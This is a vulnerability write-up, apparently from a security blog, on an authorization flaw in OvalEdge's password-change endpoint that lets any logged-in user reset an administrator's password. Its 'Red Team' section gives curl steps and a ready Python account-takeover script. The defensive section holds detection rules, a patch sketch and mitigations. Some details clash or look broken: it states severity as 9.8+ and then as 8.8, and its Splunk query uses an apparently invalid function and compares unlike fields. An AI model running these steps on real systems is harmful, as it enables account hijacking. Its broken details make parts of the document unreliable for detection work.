CVE-2022-30358

Executive Summary

CVE-2022-30358 is an Account Takeover vulnerability affecting OvalEdge versions 5.2.8.0 and earlier. The flaw resides in the /user/updatePassword endpoint, which accepts a userId and newPsw parameter via a POST request. While authentication is required, the endpoint does not properly verify that the authenticated user is authorized to change the password for the specified userId. This allows a low-privileged authenticated attacker to change the password of any other user, including administrators, leading to full account takeover.

The vulnerability has a CVSS score of 0.0 in the NVD database, but this is likely a placeholder or error. Based on the impact, the actual severity is Critical (CVSS 9.8+). No official patch has been released by OvalEdge, and no public exploit code is available, but the attack vector is straightforward.

Supply Chain & Package Security

OvalEdge is a proprietary enterprise data catalog and governance platform. It is not distributed via NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the vendor's own distribution channels. Organizations should verify the integrity of their OvalEdge installation and monitor for any vendor-provided updates.

CVSS Breakdown & Threat Level

While the NVD reports a CVSS score of 0.0, this is likely an error. Based on the vulnerability description, the actual CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Base Score: 8.8 - High)

• Attack Vector (AV): Network – The endpoint is accessible over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Authentication is required, but any authenticated user can exploit it.
• User Interaction (UI): None – No user interaction is needed.
• Scope (S): Unchanged – The vulnerable component is the same as the affected component.
• Confidentiality (C): High – An attacker can access all data as the victim user.
• Integrity (I): High – An attacker can modify data as the victim user.
• Availability (A): High – An attacker can lock out the victim user.

Threat Level: Critical – The vulnerability allows complete account takeover with minimal privileges.

Deep Dive & Mechanics

The vulnerability exists in the password change functionality of OvalEdge. The endpoint /user/updatePassword accepts two parameters:

• userId – The ID of the user whose password is to be changed.
• newPsw – The new password to set.

The flaw is that the server does not verify that the authenticated user (identified by their session token) is the same as the userId provided in the request. This means an attacker with any valid account can send a POST request to change the password of any other user, including administrators.

Attack Flow:

1. Attacker logs in with a low-privileged account (e.g., attacker@example.com).
2. Attacker obtains the userId of the target (e.g., admin user with userId=1). This can be done via user enumeration or by guessing.
3. Attacker sends a POST request to /user/updatePassword with userId=1&newPsw=NewAdminPass123.
4. The server changes the admin's password without verifying ownership.
5. Attacker logs in as admin with the new password and gains full control.

Root Cause: Missing authorization check on the userId parameter. The server should verify that the authenticated user's ID matches the userId in the request, or that the user has administrative privileges to change other users' passwords.

Vulnerable vs. Patched Code

No official patch is available. However, the vulnerable code pattern can be described as:

Vulnerable Code (Conceptual Java/PHP):

// Vulnerable: No authorization check
@RequestMapping(value = "/user/updatePassword", method = RequestMethod.POST)
public ResponseEntity<?> updatePassword(@RequestParam int userId, @RequestParam String newPsw) {
    User user = userRepository.findById(userId);
    user.setPassword(passwordEncoder.encode(newPsw));
    userRepository.save(user);
    return ResponseEntity.ok("Password updated");
}

Patched Code (Conceptual):

// Patched: Verify the authenticated user is the same as the userId
@RequestMapping(value = "/user/updatePassword", method = RequestMethod.POST)
public ResponseEntity<?> updatePassword(@AuthenticationPrincipal User currentUser,
                                        @RequestParam int userId,
                                        @RequestParam String newPsw) {
    // Only allow users to change their own password
    if (currentUser.getId() != userId) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Not authorized");
    }
    User user = userRepository.findById(userId);
    user.setPassword(passwordEncoder.encode(newPsw));
    userRepository.save(user);
    return ResponseEntity.ok("Password updated");
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid low-privileged account on the OvalEdge instance.
• Network access to the OvalEdge web interface.
• Knowledge of the target user's userId (can be enumerated via other endpoints or by guessing).

Exploitation Steps:

1. Authenticate and obtain session cookie:

   curl -X POST https://target.ovaledge.com/login \
     -d "username=attacker@example.com&password=attacker123" \
     -c cookies.txt
   

2. Enumerate user IDs (if needed):

   curl -X GET https://target.ovaledge.com/user/list \
     -b cookies.txt
   

3. Change target user's password:

   curl -X POST https://target.ovaledge.com/user/updatePassword \
     -b cookies.txt \
     -d "userId=1&newPsw=NewAdminPass123"
   

4. Login as the target user:

   curl -X POST https://target.ovaledge.com/login \
     -d "username=admin@example.com&password=NewAdminPass123" \
     -c admin_cookies.txt
   

Automated Exploit Script (Python):

import requests

target = "https://target.ovaledge.com"
attacker_creds = {"username": "attacker@example.com", "password": "attacker123"}
target_user_id = 1
new_password = "Pwned123!"

session = requests.Session()
session.post(f"{target}/login", data=attacker_creds)

# Change password
session.post(f"{target}/user/updatePassword", data={
    "userId": target_user_id,
    "newPsw": new_password
})

print(f"Password for user ID {target_user_id} changed to {new_password}")

Blue Team (Defensive)

Detection:

• Monitor for multiple password change requests from the same user to different userId values.
• Alert on password changes where the userId does not match the authenticated user's ID.
• Log all POST requests to /user/updatePassword and correlate with session tokens.

Mitigation:

• Implement proper authorization checks (see patched code above).
• Require current password verification for password changes.
• Implement rate limiting on the password change endpoint.
• Enable multi-factor authentication (MFA) to reduce impact.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/user/updatePassword" method=POST
| eval auth_user=extract_field(session, "username")
| eval target_user=extract_field(form_data, "userId")
| where auth_user != target_user
| table _time, src_ip, auth_user, target_user, form_data

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /user/updatePassword with userId and newPsw parameters.
• Multiple failed login attempts followed by successful login from the same IP after a password change.
• Unusual patterns of password changes (e.g., many changes in a short time).

Host IOCs:

• Log entries showing password changes for user IDs that do not match the authenticated user.
• New user accounts created with administrative privileges.
• Changes to user role assignments.

File IOCs:

• OvalEdge application logs showing updatePassword calls with mismatched user IDs.
• Web server access logs with repeated POST requests to /user/updatePassword.

Detection Engineering

YARA Rule

rule CVE_2022_30358_OvalEdge_Account_Takeover {
    meta:
        description = "Detects exploitation attempts of CVE-2022-30358 in OvalEdge"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-30358"
    strings:
        $s1 = "/user/updatePassword" ascii wide nocase
        $s2 = "userId=" ascii wide nocase
        $s3 = "newPsw=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: OvalEdge Account Takeover via Password Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2022-30358 where an authenticated user changes another user's password
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/user/updatePassword'
        cs-uri-query|contains: 
            - 'userId='
            - 'newPsw='
    condition: selection
falsepositives:
    - Legitimate password changes by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-30358 OvalEdge Account Takeover Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/user/updatePassword"; http_uri; content:"userId="; http_client_body; content:"newPsw="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems – If possible, restrict network access to the OvalEdge web interface until a patch is applied.
2. Implement WAF rules – Block POST requests to /user/updatePassword that contain userId and newPsw parameters unless the userId matches the authenticated user's session.
3. Enable MFA – Multi-factor authentication can prevent account takeover even if the password is changed.
4. Audit user accounts – Check for any unauthorized password changes or new admin accounts.

Long-term Fix:

• Contact OvalEdge support for an official patch. If none is available, implement the code fix described in the "Vulnerable vs. Patched Code" section.
• Conduct a security review of all authentication and authorization endpoints.
• Implement proper role-based access control (RBAC) for administrative functions.

Workaround:

• Disable the /user/updatePassword endpoint if not needed, or restrict it to administrators only via web server configuration (e.g., Apache .htaccess or Nginx location block).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert